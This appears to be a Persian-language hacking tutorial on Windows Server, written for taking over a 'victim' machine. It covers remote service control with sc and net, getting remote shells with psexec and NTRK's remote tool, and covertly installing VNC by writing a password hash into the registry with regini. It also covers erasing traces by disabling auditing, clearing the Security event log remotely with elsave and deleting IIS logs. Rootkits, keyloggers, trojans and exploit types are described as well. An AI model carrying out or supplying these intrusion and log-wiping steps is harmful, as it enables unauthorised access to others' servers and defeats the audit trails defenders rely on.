- یادآوری
این مقاله ادامه مقاله قبلیه! در این درس نیز ما با یک سرور ویندوز به صورت یک کامپیوتر منفرد سروکار داریم و توجهی به کامپیوترهای متصل به اون در شبکهای که هست نداریم.
- سرویسها در ویندوز سرور
برای بعضی کارهای خاص، بعضی سرویسها باید در کامپیوتر قربانی فعال باشند یا ما باید فعالشون کنیم. ( مثلا در درسهای قبلی در مورد schedule service مطالبی رو به شما گفتم. فرمودم! که اگه بخوایم کارهای زمانبندی شده رو در سرور ویندوز انجام بدیم، این سرویس باید بهراه باشه. ) بنابراین از دید یک هکر بعضی سرویسها مهمتر هستند که به اونها خواهیم پرداخت.
اول چند اصطلاح رو باید یاد بگیرید:
۱- Display Name : نام کامل سرویس است. مثلا "Terminal Services" برای ترمینال سرویس ( حروف بزرگ و کوچک مهم است! )
۲- Service Name یا Key Name : نام خلاصه شده و یک کلمهای برای سرویسهاست. مثلا TermService برای ترمینال سرویس ( حروف بزرگ و کوچک مهم است! )
۳- Process Name : اسم یک فایل اجرایی ( با پسوند exe ) که سرویس رو ایجاد کرده است. مثلا svchost.exe برای ترمینال سرویس. ( دقت کنید که ممکن است یک پروسس چند سرویس مختلف رو ایجاد کند )
خوب حالا بهتره بدونید که سیستمعامل موقعی که بالا میاد ( restart میشه ) با توجه به تنظیمات هر سرویس میتونه به سه شکل با اون رفتار کنه:
۱- Automatic : اگر سرویس در این وضعیت تنظیم شده باشد، هر وقت که سرور بالا میاد، سرویس هم به صورت اتوماتیک شروع به کار میکنه.
۲- Manual : اگر سرویس در این وضعیت باشه، به صورت دستی ( یا توسط یک سرویس دیگه ) میشه اونو فعال یا غیر فعال کرد ولی موقع بالا اومدن به صورت پیشفرض غیر فعال خواهد بود.
۳- Disabled : اگه سرویس در این وضعیت باشه، موقع بالا اومدن سیستمعامل، غیر فعال خواهد بود و یک یوزر یا یک سرویس وابسته نمیتونه اونو فعال کنه.
وضعیت سرویسها هم قابل بررسی است:
۱- Running : یعنی الان در وضعیت اجرا است.
۲- Paused : یعنی هنوز در وضعیت اجرا هست ولی کاری رو قبول نمیکنه. برای ادامه کار باید Continue کنیم.
۳- Stopped : یعنی متوقف شده، برای ادامه کار دوبار باید Start بشه.
و ما نسبت به این سرویسها چند تا کار میتونیم انجام بدیم:
۱- Start : یعنی از حالت Stopped خارج بشه و شروع به کار کنه.
۲- Stop : یعنی متوقف بشه.
۳- Pause : یعنی کاری رو قبول نکنه. یه درجه پایین تر از stop است چون برای ادامه کار لازم نیست دوباره فراخوانی بشه ( یعنی آماده کار است ولی موقتا کاری نمیگیره )
۴- Continue : یعنی از حالت Pause خارج شده و در وضعیت Running قرار بگیره.
۵- Delete : یعنی یک سرویس موجود رو پاک کنیم ( اگه بخوایم دوباره بهش دسترسی پیدا کنیم، باید دوباره نصب شود ). با این کار تمام کلیدها و ورودیهای مربوطه از رجیستری پاک میشوند.
۶- Create و Install : عمل عکس Delete رو انجام بدیم. یعنی یک سرویس جدید ایجاد کنیم. با این کار کلیدها و ورودیهای مربوطه به رجیستری اضافه میشوند.
حالا بهتره سرویسهای مهم هکری رو لیست کنم ( این لیست از سایت http://www.ss6A.com گرفته شده است. با کمی تغییرات و اضافات ) :
Display name | Service name | Process name | Description | Status |
Application Management | appmgt | Services.exe or svchost.exe | Installation services (Add/Remove Programs) - Assign, Publish, and Remove. | Manual |
Computer Browser | Browser | Services.exe | Actively collect the names of NetBIOS resources on the network, creating a list so that it can participate as a master browser or basic browser (one that takes part in browser elections). This maintained list of resources (computers) is displayed in Network Neighborhood and Server Manager. |
Automatic |
DHCP Client | Dhcp | Services.exe or svchost.exe | Manage network configuration by registering and updating IP addresses and DNS names. | Automatic |
DNS Client | Dnscache | Services.exe | Resolves and caches Domain Name System (DNS) names. | Automatic |
EventLog | EventLog | Services.exe | Record System, Security, and Application Events. Viewed with the MMC Event Viewer (eventvwr.exe in NT). |
Automatic |
IIS Admin Service | IISAdmin | %SystemRoot%System32inetsrvinetinfo.exe | Allows administration of Web and FTP services through the Internet Information Services snap-in. | Automatic (if IIS installed) |
Internet Connection Sharing (Internet Connection Firewall) | SharedAccess | svchost.exe -k netsvcs | Network address translation, addressing, and name resolution services for all computers on your home network through a dial-up connection. | Automatic |
IPSEC Policy Agent | PolicyAgent | lsass.exe | Manage IP security policy and starts the ISAKMP/Oakley (IKE) and the IP security driver. | Automatic or Disable |
Kerberos Key Distribution Center | kdc | lsass.exe | Generates session keys and grants service tickets for mutual client/server authentication. | Disable |
Messenger | Messenger | Services.exe | Process the delivery of pop-up messages sent by the Alerter service, or via NET SEND. The messages appear on the recipient's machines, and must be clicked OK to disappear. This service is also required to receive any messages sent by the Messenger service from another machine. This service is not related to Windows Messenger |
Automatic |
Network Connections | Netman | svchost.exe -k netsvcs | Manage objects in the Network and Dial-Up Connections folder (LAN and remote connections.) | Manual |
Net Logon | Netlogon | Lsass.exe (Local Security Authority Subsystem) |
Network Authentication: maintains a synced domain directory database between the PDC and BDC(s), handles authentication of respective accounts on the DCs, and authenticates domain accounts on networked machines. | Automatic - when connected to a domain. Manual for stand-alone machines. |
NetMeeting Remote Desktop Sharing | Nmnsrvc | mnmsrvc.exe | Allows authorized people to remotely access your Windows desktop using NetMeeting. | Manual or Disabled |
NT LM Security Support Provider | NtLmSsp | Services.exe | Extends NT security to Remote Procedure Call (RPC) programs using various transports other than named pipes. RPC activity is quite common, and most RPC apps don't use named pipes. |
Manual |
Protected Storage | ProtectedStorage | Pstores.exe | Encrypt and store secure info: SSL certificates, passwords for Outlook, Outlook Express, Profile Assistant, MS Wallet, and digitally signed S/MIME keys. | Automatic |
Remote Procedure Call (RPC) Locator | RpcLocator | Locator.exe | Maintain the RPC name server database, requires the RPC service (below) to be started. Database of available server applications. | Manual |
Remote Procedure Call (RPC) Service or Remote Procedure Call (RPC) |
RpcSs | Rpcss.exe or svchost -k rpcss | This RPC subsystem is crucial to the operations of any RPC activities taking place on a system (DCOM, Server Manager, User Manager) Rpcss.exe is also known as dcomss.exe (Distributed Common Object Model). |
Automatic |
Remote Registry Service | RemoteRegistry | regsvc.exe | Allow remote registry manipulation. | Automatic or disabled |
Routing and Remote Access | RemoteAccess | svchost.exe -k netsvcs | Allow incoming connections via dial in or VPN. | Disable for security reasons or Manual |
RunAs Service (Secondary Logon) | secLogon | services.exe or svchost.exe | Enables starting processes under alternate credentials. | Automatic or Disable |
Schedule (Task scheduler) | Schedule | atsvc.exe or mstask.exe | This service is required for the use of the AT command, which allows the scheduling of commands (Jobs) to be run on the machine, at a specific date & time. Under NT it's a Resource Hog. Under XP it's used by some auto-tuning operations. |
Automatic |
Security Accounts Manager | SamSs | lsass.exe | Stores security information for local user accounts. | Automatic |
Server | LanmanServer | Services.exe | Support for file sharing, print sharing, and named pipe sharing via SMB services. | Automatic. Disable on an IIS Server or if no resources are shared. |
Simple Mail Transport Protocol (SMTP) | SmtpSvc | %SystemRoot%System32inetsrvinetinfo.exe | Transports electronic mail across the network | Automatic (if IIS installed) |
Simple TCP/IP Services | SimpTcp | tcpsvcs.exe | Supports the following TCP/IP services: Character Generator, Daytime, Discard, Echo, and Quote of the Day. | |
SNMP Service | Snmp | snmp.exe | Agents that monitor the activity in network devices and report to the network console workstation. | Automatic (if installed) |
SNMP Trap Service | Snmptrap | snmptrap.exe | Receives trap messages generated by local or remote SNMP agents and forwards the messages to SNMP management programs running on this computer. | Automatic (if installed) |
System Event Notification | SENS | svchost.exe -k netsvcs | Track system events such as Windows logon, network, and power events. Notifiy COM+ Event System subscribers of these events. |
Automatic |
TCP/IP NetBIOS Helper | lmHosts | Services.exe | Support for name resolution via a lookup of the LMHosts file. (Netbios/Wins) This is an alternative to the more standard DNS lookup. |
|
Telnet | TlntSvr | tlntsvr.exe | Allows a remote user to log on to the system and run console programs using the command line. | Manual or Disabled. |
Terminal Services | TermService | svchost.exe | Required for Fast User Switching, Remote Desktop and Remote Assistance | Disable |
WebClient (XP) | WebClient | svchost.exe | Allow access to web-resident disk storage from an ISP. WebDAV "internet disks" such as Apple's iDisk. | Disable |
Windows Management Instrumentation | WinMgmt | %SystemRoot%System32WBEMWinMgmt.exe | Provides system management information. | Automatic |
Windows Time | W32time | services.exe | Update the computer clock by reference to an internet time source or a time server. | Automatic or disable |
Workstation | lanmanworkstation | Services.exe | Communications and network connections. Services dependent on this being started: Alerter, Messenger, and Net Logon. |
Automatic. or Manual - for a stand-alone PC with no LAN or internet connection. |
World Wide Web Publishing Service | W3Svc | %SystemRoot%System32inetsrvinetinfo.exe | Provides Web connectivity and administration through the Internet Information Services snap-in. | Automatic (if IIS installed) |
خوب معلومه که لازم نیست لیست رو حفظ کنید! ولی اگه یه کمی روی این جدول کار کنید، خیلی میتونه کمکتون کنه. مثلا اگه فردا گفتم که فلان Exploit واسه یک حفره امنیتی در Workstation Service هستش، بدونید چی به چیه...
اینها که گفتم، تعدادی از سرویسهای ویندوزه. اونهم سرویسهای استاندارد ویندوز. این به اون معنی است که محصولات third-party مثلا فایروالهای نرمافزاری، ابزارهای remote control و ... هم میتونند یک سرویس واسه خودشون راه بندازند و این اصلا عجیب نیست!
میرسیم به کار با سرویسها و ابزارهای لازمه:
۱- کار با سرویسها وقتی که پشت کامپیوتر خودمون نشستهایم ( یا با یک remote control گرافیکی به کامپیوتر هدف متصل شدهایم ) :
در این مواقع میتونید در قسمت RUN بنویسید:winmsd.exe یا services.msc
اگر winmsd.exe را آوردهاید ( نام این برنامه System Information است)، در قسمت سمت راست پنجره مسیر Software Invironment > Services را طی کنید. حالا میتوانید، اسم و وضعیت سرویسها رو ببینید. ولی نمیتونید تغییری اعمال کنید.
اگر services.msc را آوردهاید ( نام این برنامه Services است)، علاوه بر نام و وضعیت سرویسها که میبینید، میتونید با راست کلیک روی هر سرویس ( یا به کمک بار بالایی ) در سرویسها تغییراتی اعمال کنید. مثلا شروع یا متوقف کنید، Status را تغییر دهید و ...
۲- کار با سرویسها به صورت خط فرمانی:
در این موارد از ابزارهای خاصی مثل دستورات net ( یعنی net start و net stop و net pause و net continue ) و نیز ابزارهای NTRK ( یعنی sc و sclist و netsvc و delsrv و isntsrv و srvany و svcmon و winmsdp ) استفاده کنیم. دستورات net که میدونید، هم به صورت loacl و هم remote قابل استفاده هستند. ولی در مورد ابزارهای NTRK، بعضی فقط به صورت لوکال و بعضی فقط remote و بعضی هر دو کاربرد دارند. من کارهایی که با سرویسها میشه انجام داد رو لیست میکنم، و در هر کدوم میگم که اگع بخوایم به صورت لوکال یا ریموت کار کنیم، از چه ابزارهایی میشه استفاده کرد:
( حتما به کاربرد دستور find که در تعدادی از دستورات پایینی استفاده کردهام، دقت کنید! )
( وقتی در یک موردی چندتا دستور مختلف رو میگم، انتخاب هر کدوم به دلخواه شماست! )
+ لیست کردن سرویسهای موجود:
- لوکال:
sclist sc query winmsdp /s ( file-e be esm-e msdrpt.TXT ijad mikonad, uno bekhunid )
- ریموت:
netsvc /list xxx.xxx.xxx.xxx
+ بررسی وضعیت یک سرویس از نظر Running بودن، Paused بودن، Stoped بودن و اطلاعات دیگر ... ( مثلا Schedule سرویس که Display Name اش هست: Task Scheduler در حالیکه Service Name یا Key Name اش هست: Schedule ) :
- لوکال:
sclist | find "Schedule" sc query Schedule sc query Schedule | find "STATE" sc qc Schedule
- ریموت:
netsvc Schedule xxx.xxx.xxx.xxx /query netsvc "Task Scheduler" xxx.xxx.xxx.xxx /query sc xxx.xxx.xxx.xxx query Schedule sc xxx.xxx.xxx.xxx query Schedule | find "STATE" sc xxx.xxx.xxx.xxx qc Schedule
+ Stopped کردن یک سرویس ( مثلا در مورد Schedule سرویس که Display Name اش هست: Task Scheduler در حالیکه Service Name یا Key Name اش هست: Schedule ):
- لوکال:
net stop Schedule net stop "Task Scheduler" sc stop Schedule
- ریموت:
netsvc Schedule xxx.xxx.xxx.xxx /stop netsvc "Task Scheduler" xxx.xxx.xxx.xxx /stop sc xxx.xxx.xxx.xxx stop Schedule
+ از حالت Stopped در آوردن یک سرویس ( مثلا در مورد Schedule سرویس که Display Name اش هست: Task Scheduler در حالیکه Service Name یا Key Name اش هست: Schedule ):
- لوکال:
net start Schedule net start "Task Scheduler" sc start Schedule
- ریموت:
netsvc Schedule xxx.xxx.xxx.xxx /start netsvc "Task Scheduler" xxx.xxx.xxx.xxx /start sc xxx.xxx.xxx.xxx start Schedule
+ Paused کردن یک سرویس خاص ( مثلا در مورد Schedule سرویس که Display Name اش هست: Task Scheduler در حالیکه Service Name یا Key Name اش هست: Schedule ):
- لوکال:
net pause Schedule net pause "Task Scheduler" sc pause Schedule
- ریموت:
netsvc Schedule xxx.xxx.xxx.xxx /pause netsvc "Task Scheduler" xxx.xxx.xxx.xxx /pause sc xxx.xxx.xxx.xxx pause Schedule
+ از حالت Paused در آوردن یک سرویس ( مثلا در مورد Schedule سرویس که Display Name اش هست: Task Scheduler در حالیکه Service Name یا Key Name اش هست: Schedule ):
- لوکال:
net continue Schedule net continue "Task Scheduler" sc continue Schedule
- ریموت:
netsvc TermsService xxx.xxx.xxx.xxx /continue netsvc "Task Scheduler" xxx.xxx.xxx.xxx /continue sc xxx.xxx.xxx.xxx continue Schedule
+ Delete کردن یک سرویس خاص ( مثلا در مورد Schedule سرویس که Display Name اش هست: Task Scheduler در حالیکه Service Name یا Key Name اش هست: Schedule ):
- لوکال:
sc delete Schedule instsrv Schedule remove delsrv Schedule
- ریموت:
sc xxx.xxx.xxx.xxx delete Schedule
+ Create یا Install کردن یک سرویس ( مثلا در مورد Schedule سرویس که Display Name اش هست: Task Scheduler در حالیکه Service Name یا Key Name اش هست: Schedule ):
- لوکال:
sc create Schedule binPath=zzzz ( zzzz yani masire file ejrayi marbut be Schedule ) instsrv Schedule zzzzz srvany ???? ( ba in dastur ham mishavad vali man syntax-esho nemidunam )
- ریموت:
sc xxx.xxx.xxx.xxx create Schedule binPath=zzzz
خوب به سلامتی اینا تموم شد، حالا فقط یه نکته مونده. فرض کنید که من Display Name مربوط به Schedule سرویس رو میدونم که هست: Task Scheduler در حالیکه Service Name یا Key Name اش رو نمیدونم و میخوام پیدا کنم. کافی است دستور زیر رو بنویسم:
sc GetKeyName "task scheduler"
و جواب چیزی است که من میخوام. حالت برعکس هم داریم، مثلا Key Name رو میدونم که Schedule است، میخوام Display Name رو بگیرم. مینویسم:
sc GetDisplayName schedule
راحت شدیم از سرویسها!
- Remote Controls
همانطور که میدونید، Remote Control ها بر دو نوعند:
۱- خطفرمانی ( مثلا استفاده از nc یا at یا rcmd یا remote یا netcmd یا psexec )
۲- گرافیکی ( مثلا Terminal Services ویندوز یا VNC یا تروجانهایی مثل BO2K یا NetBus )
حالا بررسی هر یک:
+ استفاده از nc :
استفاده از nc به عنوان یک Remote Control قبلا و به طور مفصل در اینجا بحث شده است.
+ استفاده از at :
کار با at رو اینجا توضیح دادم. اگه یادتون باشه ما از at به عنوان یک Remote Control استفاده نمیکردیم، بلکه موقعی ازش استفاده میکردیم که میخواستیم یه دستور خاص ( مثلا ایجاد یک پورت جدید به کمک nc رو ) مثلا چند دقیقه دیگر اجرا کنیم. به عبارت دیگه at کاتالیزور است!
+ استفاده از rcmd :
rcmd یا به عبارتی Remote Command Service یکی از ابزارهای موجود در مجموعه NTRK است. دو تا فایل دارد که بدرد ما میخوره. اولی rcmdsvc.exe است که درواقع فایلی است که به عنوان سرور باید به کامپیوتر قربانی کپی شده و اجرا شود و یک سرویس برای ما تشکیل دهد. دومی rcmd.exe است که قسمت کلاینت محسوب میشه و اونو تو کامپیوتر خودمون اجرا میکنیم که به سرویسی که rcmdsrv ایحاد کرده متصل شود. ( nc رو دوست دارم، اینا رو دوست ندارم! )
+ استفاده از remote :
remote هم از ابزارهای موجود در NTRK است. فقط یک فایل است که هم میتونه نقش سرور و هم نقش کلاینت رو بازی کنه. برای اینکه نقش سرور رو ایفا کنه، فایل رو به کامپیوتر قربانی فرستاده و اونجا مینویسم:
remote /s cmd zzzzzz
zzzzzz یعنی هر چیزی که شما دوست داری! وقتی این دستور اجرا شد، تو کامپیوتر خودم مینویسم:
remote /c xxx.xxx.xxx.xxx zzzzzz
که xxx.xxx.xxx.xxx به عنوان ip قربانی است و zzzzz همون چیزی است که تو سرور استفاده کرده بودم. ( nc رو دوست دارم، اینا رو دوست ندارم! )
+ استفاده از netcmd :
خوب فرض کنید که من پسورد Admin رو دارم و یک session با IPC$ ایجاد کردهام. حالا میتونم با دستور netcmd یه shell ازش بگیرم. قبلا و در اینجا بحث شده است.
+ استفاده از psexec :
میشه گفت یه جورایی کار netcmd رو انجام میده ولی دیگه نیازی به ایجاد session نداره. psexec رو میتونید از سایت SysInternals پیدا کنید. لزومی به کپی کردن هیچ فایلی در کامپیوتر قربانی نیست. اگر اکانتی به اسم Ali با پسورد thepassword در حد اکانت Admin باشد، مینویسید:
psexec xxx.xxx.xxx.xxx -u Ali -p thepassword cmd.exe
و یک شل خطفرمانی بگیرید.
+ استفاده از Terminal Services :
رسیدیم به Remote Control های گرافیکی و اولین موردی که از این گروه بحث میکنیم، همین ترمینال سرویس است. ترمینال سرویس مربوط به خود ویندوز است ( جزو سرویسهای استاندارد اون ) ولی به صورت پیشفرض غیرفعال است. اگه فعال باشه، روی پورت 3389 فالگوش میمونه. اگه فعال نباشه، میشه اونو نصب کرد ولی دنگوفنگ زیاد داره. اگه فعال باشه، برای اتصال به این Terminal Service کلاینتهای مختلفی برای اون هست. از فایلهای اجرایی مثل این و این گرفته تا Active-X هایی که رو IE اجرا میشوند. username و password اش هم همان اکانتهای ویندوز است.
+ استفاده از VNC یا به عبارتی Virtual Network Computing یا به عبارتی WinVNC :
من خیلی خوشم میاد ازش! دوستش دارم! نصب کردنش روی کامپیوتر قربانی یه کم سخته ( چون اصولا این یک تروجان نیست، یه محصول باشخصیته! ). اول باید از اینجا اونو داونلود کنید. بعد فایلهای winvnc.exe و vnchooks.dll و omnithread_rt.dll رو به کامپیوتر قربانی و در یک فولدر خاص میفرستیم. بعد مییایم و یک فایل به اسم مثلا winvnc.ini ایجاد میکنیم که کارش اینه که یک سری تغییرات در رجیستری ایجاد کند و یک پسورد واسه VNC ست کند. VNC از الگوریتم 3DES واسه hash کردن رمز استفاده میکنه و رمز را در HKEY_USERS.DEFAULTSoftwareORLWinVNC3 دخیره میکند. میتونید یک پسورد رو ست کنید و بعد ببینید که چه شکلی ذخیره میشه. اگه پسورد انتخابی کلمه secret باشه، معادل hash شده اون در VNC عبارت: 0x57bf2d2e 0x9e6cb06e خواهد بود. پس من اگه پسورد انتخابیام کلمه secret باشه، حالا باید یک فایل درست کنم مثلا به اسم winvnc.ini که توش اینها باشه:
HKEY_USERS.DEFAULTSoftwareORLWinVNC3 SocketConnect = REG_DWORD 0x00000001 Password = 0x00000008 0x57bf2d2e 0x9e6cb06e
و بعد به کمک regini ( که قبلا گفتم یک ابزار از NTRK است ) به صورت ریموت ( یعنی از کامپیوتر خودمان ) دستور زیر رو اجرا میکنیم:
regini -m xxx.xxx.xxx.xxx winvnc.ini
حالا که ما تونستیم تغییرات رو در رجیستری اعمال کنیم، باید سرویس رو آغاز کنیم. مینویسیم:
winvnc -install net start winvnc
و کار تمام است. حالا در کامپیوتر خودمون برنامه vncviewer رو اجرا کرده و حالشو میبریم!
+ استفاده از NetBus و BO2K :
خوب اینها تروجان هستند. هر تروجانی معمولا یک فایل برای ایجاد فایل سرور دارد. وقتی فایل سرور ایجاد شد، اونو به کامپیوتر قربانی کپی کرده و اجرا میکنیم. و بعد توسط کلاینت مربوطه به سرور متصل میشویم. ( کار با اینها بسیار سادهاست )
- پاک کردن رد پا
الف- ویندوز رویدادها را در کجا ذخیره و گزارش ( log ) میکند؟
در ویندوز سه فایل داریم که در اونها لاگها ذخیره میشوند: AppEvent.Evt و SecEvent.Evt و SysEvent.Evt که از بین اینها اونی که بدرد ما میخوره، فقط SecEvent.Evt است که محل ذخیره تلاشها ناموفق برای وارد شدن به سیستم ( مثلا با کمک یک کرکر ) و ... است. مسیری که این سه فایل قرار دارند، اینجاست:
%SystemRoot%System32Config
در خود ویندوز به کمک EventViewer ( کافی است در Run بنویسید: eventvwr.msc ) میشه این فایلها رو بررسی کرد. ضمنا تغییر دادن این فایلهای لاگ، نیاز به دسترسی به سیستم در سطح Admin دارند. این ابزار بدرد ما نمیخوره، ما میخوایم ردپاهای خودمون رو پاک کنیم و نیز دسترسی به صورت فیزیکی ( یا توسط یک ریموت کنترل گرافیکی ) به سیستم قربانی نداریم:
+ غیر فعال کردن گزارش گیری:
اولین کار اینه که Auditing رو غیر فعال کنیم. این کار توسط یک ابزار از NTRK به نام auditpol قابل انجام است. مینویسیم:
auditpol /disable
با این دستور دیگه هیچ گزارشی اضافه نخواهد شد. ( ولی گزارشهای بعدی باقی خواهند ماند ) اگه بخوایم دوباره فعال کنیم،مینویسیم:
auditpol /enable
مشخص است که این ابزار باید به صورت لوکال استفاده بشه. یعنی چون ما میخواهیم این کارها رو در سرور قربانی انجام بدیم، این ابزار رو همونجا فرستاده و اجرا میکنیم.
+ پاک کردن SecurityLog :
گفتم که بین همه لاگها این مهمتره، حالا میخوام این فایل رو پاک کنم. برای این کار ابزاری هست به نام elsave که به صورت ریموت این کار رو میکنه. مثلا اگه بنویسم:
elsave -s xxx.xxx.xxx.xxx -l "Security" -C
به صورت ریموت سکیورتیلاگ رو پاک میکنه ( قبلش باید یک session میداشتم تا این دستور کار کنه) دقت کنید که به صورت لوکال و با دستور del نمیشه این فایلهای لاگ رو پاک کرد!
+ ابزارهای دیگه از NTRK در این زمینه:
ابزارهای دیگهای هم هستند مثل dumpel که در گزارش گیری از لاگها و ... کاربرد دارند.
ب- IIS گزارشها رو در کجا ذخیره میکند؟
IIS رفیق فابریک منه! وقتی شما یک سایت رو میرید و میبینید ( یا توسط یک باگ در IIS به سیستم وارد میشوید ) فعالیتهای شما در فایلی ذخیره و Log میشود. اول این نکته رو میدونید که یک سرور میتونه توش سایتهای مختلف و Virtual Diectory های مختلفی باشه. هر کدام از این سایتها لاگ IIS مخصوص به خود خواهند داشت. مسیری که لاگهای IIS قرار میگیرند، اینه:
%SystemRoot%System32LogFiles
در این فولدر، زیرشاخهها ( فولدرهای جدیدی ) هست. به این ترتیب که واسه هر سایتی یه فولدر هست. اسم این فولدرها به صورت W3SVC1 و W3SVC2 و ... است. داخل این فولدرها فایلهای لاگ جای دارند. حالت پیشفرض اینه که گزارشهای هر روز سایت داخل یک فایل ذخیره میشه. اسم فایل جور خاصی است که تاریخ ( سال - ماه - روز ) رو نشون بده. مثلا اگه فولدر وربوط به یک سایتی W3SVC1 و تاریخ مورد نظر ما سال ۲۰۰۳ و ماه ۹ و روز ۱۲ باشه، اسم فایل لاگ این خواهد بود:
%SystemRoot%System32LogFilesW3SVC1ex030912.log
برخلاف فایلهای لاگ ویندوز که با دستور del قابل پاککردن نبود، فایلهای لاگ IIS خیلی شیک با del پاک میشه ( چون ویندوز این فایلها رو Lock نمیکنه). بنابراین ما باید تمام لاگهای مربوط به روز خاصی که جایی رو هک کردهایم رو پاک کنیم!
- RootKit چیست؟
دلیل اصلی استفاده از rootkit ها این است که هکر بتونه برای مدت بیشتری در کامپیوتر قربانی دوام بیاره. فرض کنید که یک تروجان به کامپیوتر قربانی فرستادهاید یا از کامپیوتر قربانی برای یک DDoS گسترده میخواین استفاده کنید. مسلم است که اگه طرف مقابل آدم مجربی باشه، با کمی بررسی سیستمعامل خود پی خواهد برد که یک SpyWare در کامپیوترش هست. ولی وقتی Rootkit استفاده بشه، سیستمعامل جوری تغییر میکنه که این تغییرات نشون داده نشه. به عنوان مثال یکی از راههایی که مسوول سرور میفهمه که کامپیوترش هک شده و یک سرور ( تروجان ) ناخواسته داره، بررسی پورتهای باز کامپیوتر توسط دستور netstat است. حالا اگه ما این دستور رو جوری تغییر دهیم ( یعنی اگه یک نسخه جدید از این برنامه با توجه به نیازهامان ایجاد کرده و در کامپیوتر قربانی نصب کنیم ) در واقع این روش رو غیر فعال کردهایم. rootkit ها می تونند خود سیستمعامل رو هدف قرار بدهند. مسلم است که نوشتن یک rootkit برای سیستمعاملهای open-source مثل linux بسیار راحتتر از ایجاد rootkit برای ویندوز است. اما باید توجه کنید که rootkit رو میشه به دو دسته تقسیم کرد:
۱- آن دسته از Rootkit هایی که قسمتهایی از سیستمعامل ( تعدادی از فایلهای اجرایی اونو ) تغییر میدهند. مثلا بعضی Registry Key ها رو مخفی کنند یا مخفی کردن پروسسها یا محفی کردن فایلهای تروجان و ... همچین rootkit هایی برای ویندوز طراحی شده اند.
۲- آن دسته از Rootkit هایی که در سطح هسته ( کرنل ) سیستمعامل عمل میکنند. برای اینگونه از rootkit ها برای مثلا لینوکس مثالهایی هست ولی برای ویندوز ( خصوصا ویندوز سرورها که بحث ماست ) من مثالی که واقعا کار کنه و detect هم نشوند، سراغ ندارم.
چند سایت در این زمینه:
http://www.rootkit.com و http://www.ntndis.com/downloads.shtml (نسخه آلفا از NT Rootkit )
http://www.pestpatrol.com/Support/Downloads.asp ( به نام AFX Windows Rootkit 2003 )
و ...
- Keystroke Loggers و Sniffers
بحث keylogger ها و sniffer ها یه درس مفصل رو طلب میکنه. فقط یه اشاره بکنم:
sniffer ها کارشون اینه که پکتهایی را که در شبکه ردو بدل میشوند، برای هکر ذخیره میکنند ( خود LC4 که توضیح دادمش، یک ابزار packet capture یا sniffer توش داره که challenge/response های LM و NTLM رو لاگ میکنه. بعدا توضیح خواهم داد )
keylogger ها هم کارشون اینه که کلیدهایی که فشرده میشوند ( مثلا از طریق keyboard ) رو ذخیره میکنند. مثلا وقتی کسی که کامپیوترش هک شده، و هکر یه keylogger روی کامپیوتر طرف نصب کرده است، وقتی قربانی معصوم میاد و پسورد یه جایی رو وارد میکنه، این رشته ذخیره میشه و هکر هم اطلاعات رو میگیره و کیف میکنه :)
- انواع exploit ها
انواع exploit ها یه تقسیمبندی کلی در مورد هک کردن هر نوع سیستمعاملی است. چه ویندوز و چه غیرویندوز:
۱- remote exploits: مجموعهای از exploit ها که ما از یک کامپیوتر دیگه ( مثلا کامپیوتر خودمون ) توسط اونا به یک کامپیوتر در شبکه نفوذ میکنیم. این exploit ها معمولا در موارد اولیه هک استفاده میشوند. در صورت استفاده از این exploit ها در ویندوز ممکن است دسترسی در سطح Admin رو به ما ندهند ولی وارد شدن به سیستم حتی به صورت یک اکانت محدود هم لازم است تا توسط exploitهای local دسترسی رو بالاتر ببریم. وقتی به کمک یک vulnerability scanner یک کامپیوتر رو از نظر حفرههای امنیتی تست میکنیم، معمولا نهایتا به همین نوع exploit ها میرسیم.
۲- local exploits: این exploit ها موقعی کاربرد دارند که یک console ( یا همون shell خودمون ) در سیستم داشته باشیم. به عبارت دیگه قبلا به طریقی به یک سیستم وارد شدهایم ( توسط remote exploit یا داشتن اکانتهای محدود ) و حالا میخواهیم که دسترسی خودمون رو گسترش بدیم. مثلا ما الان به صورت guest وارد شدهایم ولی میخواهیم به دسترسی Admin برسیم. بنابراین مهمترین انواع این exploit ها در ویندوز عبارتند از get admin ها یعنی اونایی که ما رو از یک اکانت محدود به اکانت Administrator میرسونند.
توضیحی که باید بدم اینه که این دو نوع exploit مکمل همدیگرند. ( البته خیلی از exploit ها هستند که هم به صورت local و هم به صورت remote قابل استفاده هستند ). به عنوان یک هکر، اول کشف میکنیم که مثلا این سیستمعامل یک ویندوز ۲۰۰۰ سرور است. حالا به طریقی یه exploit از نوع remote بدست میاوریم ( اگه قبلا یک اکانت در اون سرور بدست آوردهایم، ممکن است لزومی به این مرحله نباشد ). حالا اگه به shell رسیدیم و بخواهیم به فولدری دسترسی داشته باشیم که با این shell نو رسیده! با توجه به مجوزهایش قابل دسترس نباشد، باید از local exploit ها استفاده کنیم. ( اگه به فولدر مورد نظر دسترسی داشتیم که دیگه لازم نیست). خلاصه اینکه ممکن است در مواردی نیاز به remote exploit یا local exploit یا هردو نباشد ولی بتونیم هک کنیم. به عبارت بهتر شرایط تعیین میکنه که به چه نوع exploit هایی نیاز داریم.
ادامه درسهای هک ویندوز سرور در واقع چیزی جز بررسی این دو نوع exploit نیست.